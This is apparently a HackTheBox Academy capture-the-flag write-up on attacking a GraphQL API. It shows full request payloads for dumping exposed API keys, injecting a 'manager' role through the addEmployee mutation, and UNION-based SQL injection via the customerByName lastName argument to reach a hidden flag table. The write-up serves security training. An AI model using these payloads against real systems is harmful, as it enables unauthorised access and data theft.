Attacking GraphQL Skills Assessment — HackTheBox Academy
Module: Attacking GraphQL | Platform: HackTheBox Academy
Key Vulnerabilities: Unrestricted introspection, exposed API keys, insecure mutation (role injection), SQL injection via GraphQL argument
Author: jkonpc | March 20, 2026
Executive Summary
The Attacking GraphQL Skills Assessment presents a web application with a GraphQL API endpoint. The intended attack chain combines multiple vulnerability classes taught across the module: information disclosure via introspection, privilege escalation via insecure mutations, and SQL injection through a query argument protected by an API key.
The approach was systematic. InQL mapped the entire schema automatically — every query, mutation, type, and argument. The activeApiKeys query was publicly accessible and returned an admin API key in plaintext. That key unlocked the allCustomers and customerByName queries, which required authentication. The customerByName query’s lastName argument was vulnerable to SQL injection. A UNION-based injection against the underlying MariaDB database revealed a flag table not exposed through the GraphQL schema, and the flag was exfiltrated in a single query.
Along the way, the addEmployee mutation accepted an arbitrary role value, confirming that privilege escalation via mutation was possible — though the actual flag required SQLi, not elevated access.
| Property | Value |
|---|---|
| Target IP | 154.57.164.75:31461 |
| Endpoint | /graphql |
| Flag | HTB{redacted} |
Attack Chain Overview
- Schema Mapping — InQL auto-generates all queries and mutations from introspection
- Information Disclosure —
activeApiKeysleaks admin API key with no authentication - Employee Enumeration —
allEmployeesreveals usernames, roles, and relay IDs - Privilege Escalation —
addEmployeemutation accepts arbitraryrolevalue (manager) - Authenticated Queries —
allCustomersandcustomerByNamerequire the admin API key - SQL Injection —
customerByNamelastNameargument is injectable (MariaDB) - Database Enumeration — UNION SQLi reveals
flagtable not exposed via GraphQL - Flag Exfiltration — UNION SQLi pulls the flag from the hidden table
Phase 1: Schema Mapping with InQL
Endpoint Discovery
Navigating to the target presents a web application. Proxying traffic and exploring functionality reveals GraphQL requests hitting /graphql. Navigating directly to http://154.57.164.75:31461/graphql confirms the endpoint is live.
InQL Scan
I added the target to InQL in Burp and ran the scanner. InQL performs introspection automatically and generates ready-to-use queries for everything the API exposes. The results:
Queries: activeApiKeys, allCustomers, allEmployees, allProducts, customerByName, employeeByUsername, node, productByName
Mutations: addCustomer, addEmployee, addProduct
Points of Interest (flagged by InQL):
auth—rolefields on both queries and mutationspii— sensitive data fields detected
InQL essentially did the full recon phase in one click. Every query with its arguments, every mutation with its input types, and every field on every type — all mapped and ready to send.
Phase 2: Information Disclosure — API Keys
Dumping Active API Keys
InQL generated the query for activeApiKeys with all available fields. I sent it directly:
1
{"query":"{ activeApiKeys { key, role } }"}
Response:
1
2
3
4
5
6
7
8
9
{
"data": {
"activeApiKeys": [
{"key": "fbb64ce26fbe8a8d8d6895b8e6ba21a3", "role": "guest"},
{"key": "9cf8622bbc9fdc78f245663e08e5b4c1", "role": "guest"},
{"key": "0711a879ed751e63330a78a4b195bbad", "role": "admin"}
]
}
}
An admin API key sitting in a publicly accessible query with no authentication. Noted 0711a879ed751e63330a78a4b195bbad for later use.
Phase 3: Employee Enumeration
Dumping All Employees
1
{"query":"{ allEmployees { id username employeeId role } }"}
Response:
1
2
3
4
5
6
7
8
9
{
"data": {
"allEmployees": [
{"id": "RW1wbG95ZWVPYmplY3Q6MQ==", "username": "vautia", "employeeId": 1337, "role": "employee"},
{"id": "RW1wbG95ZWVPYmplY3Q6Mg==", "username": "pedant", "employeeId": 1338, "role": "employee"},
{"id": "RW1wbG95ZWVPYmplY3Q6Mw==", "username": "21y4d", "employeeId": 1339, "role": "manager"}
]
}
}
Two roles exist: employee and manager. The id fields are base64-encoded relay IDs:
1
2
echo -n 'RW1wbG95ZWVPYmplY3Q6Mw==' | base64 -d
# EmployeeObject:3
These are auto-generated by the backend — the format is TypeName:DatabaseID.
Phase 4: Privilege Escalation via Mutation
Inspecting the addEmployee Mutation
InQL showed the addEmployee mutation accepts AddEmployeeInput with three fields: username (String), employeeId (Int), and role (String). The role field is user-controlled — same vulnerability pattern as registerUser from the module.
Creating a Manager Account
1
{"query":"mutation { addEmployee(input: {username: \"jkonpc\", employeeId: 9999, role: \"manager\"}) { employee { id username employeeId role } } }"}
Response:
1
2
3
4
5
6
7
8
9
10
11
12
{
"data": {
"addEmployee": {
"employee": {
"id": "RW1wbG95ZWVPYmplY3Q6NA==",
"username": "jkonpc",
"employeeId": 9999,
"role": "manager"
}
}
}
}
Role manager reflected back — the mutation blindly accepts whatever role value is provided. Privilege escalation confirmed, though it wasn’t needed for the final flag.
Phase 5: Authenticated Queries
Discovering API Key Requirements
With the schema mapped, I tried pulling customer data:
1
{"query":"{ allCustomers { id firstName } }"}
Error:
1
Field "allCustomers" argument "apiKey" of type "String!" is required but not provided.
The allCustomers and customerByName queries require an API key. This is where the admin key from Phase 2 pays off.
Dumping All Customers
1
{"query":"{ allCustomers(apiKey: \"0711a879ed751e63330a78a4b195bbad\") { id firstName lastName address } }"}
Response returned three customers (Antony, Margaret, Billy) with their addresses. No flag in the visible data — the flag is in the database, not the GraphQL schema.
Phase 6: SQL Injection
Identifying the Injection Point
The customerByName query takes two string arguments: apiKey and lastName. String arguments are SQLi candidates. I tested lastName with a single quote:
1
{"query":"{ customerByName(apiKey: \"0711a879ed751e63330a78a4b195bbad\", lastName: \"'\") { id firstName lastName address } }"}
The response returned a full SQL error from MariaDB, including the backend query:
1
2
3
4
SELECT customer.id AS customer_id, customer.firstName AS customer_firstName,
customer.lastName AS customer_lastName, customer.address AS customer_address
FROM customer
WHERE lastName='...' LIMIT 1
SQLi confirmed. The leaked query reveals 4 columns, and lastName maps to column 3.
Enumerating Tables
1
{"query":"{ customerByName(apiKey: \"0711a879ed751e63330a78a4b195bbad\", lastName: \"x' UNION SELECT 1,2,GROUP_CONCAT(table_name),4 FROM information_schema.tables WHERE table_schema=database()-- -\") { lastName } }"}
Response:
1
{"data": {"customerByName": {"lastName": "api_key,employee,flag,product,customer"}}}
Five tables in the database. GraphQL only exposed employee, product, and customer through its schema. The api_key and flag tables are only reachable via SQLi — invisible to introspection.
Exfiltrating the Flag
1
{"query":"{ customerByName(apiKey: \"0711a879ed751e63330a78a4b195bbad\", lastName: \"x' UNION SELECT 1,2,GROUP_CONCAT(flag),4 FROM flag-- -\") { lastName } }"}
Response:
1
{"data": {"customerByName": {"lastName": "HTB{redacted}"}}}
Key Takeaways
InQL turns GraphQL recon from 10 minutes into 10 seconds. It runs introspection, maps every query/mutation/type/field, generates ready-to-send payloads, and flags sensitive fields like
roleand PII. If you’re testing GraphQL in Burp without InQL, you’re working harder than you need to.Introspection is the map, not the treasure. The full schema dump told me everything the API could do, but the flag wasn’t in any GraphQL type or query. The
flagtable only existed in the database — unreachable without SQLi. Always enumerate the database via injection even after completing introspection. The database always has more than GraphQL shows.Exposed API keys are a recon multiplier. The
activeApiKeysquery handed over an admin key with zero authentication. That single key unlocked theallCustomersandcustomerByNamequeries — without it, the SQLi injection point would have been inaccessible. Always dump everything that doesn’t require auth first.Mutations that accept role inputs are almost always exploitable. The
addEmployeemutation let me setrole: "manager"with no validation. Same pattern asregisterUserfrom the module sections. If a mutation input includes a role, permission, or access-level field, test it immediately.The attack chain was non-linear. Information from each phase fed into the next: introspection revealed the API key query, the API key unlocked customer queries, customer queries had SQLi, SQLi reached the hidden flag table. No single vulnerability would have gotten the flag alone — it took chaining four different issues together.
JSON formatting in Burp Repeater will trip you up if you’re not careful. The GraphQL query must be a JSON string with escaped inner quotes (
\"). GraphiQL handles this automatically, but in Burp you’re on your own. Having pre-formatted payloads ready to copy-paste saves time and prevents syntax errors that return misleadinginvalid JSONerrors.
Tools Used
- InQL (Burp extension) — Automated GraphQL introspection, query generation, and sensitive field detection. Did the heavy lifting for schema mapping.
- Burp Suite — Request interception, Repeater for manual query testing and SQLi exploitation.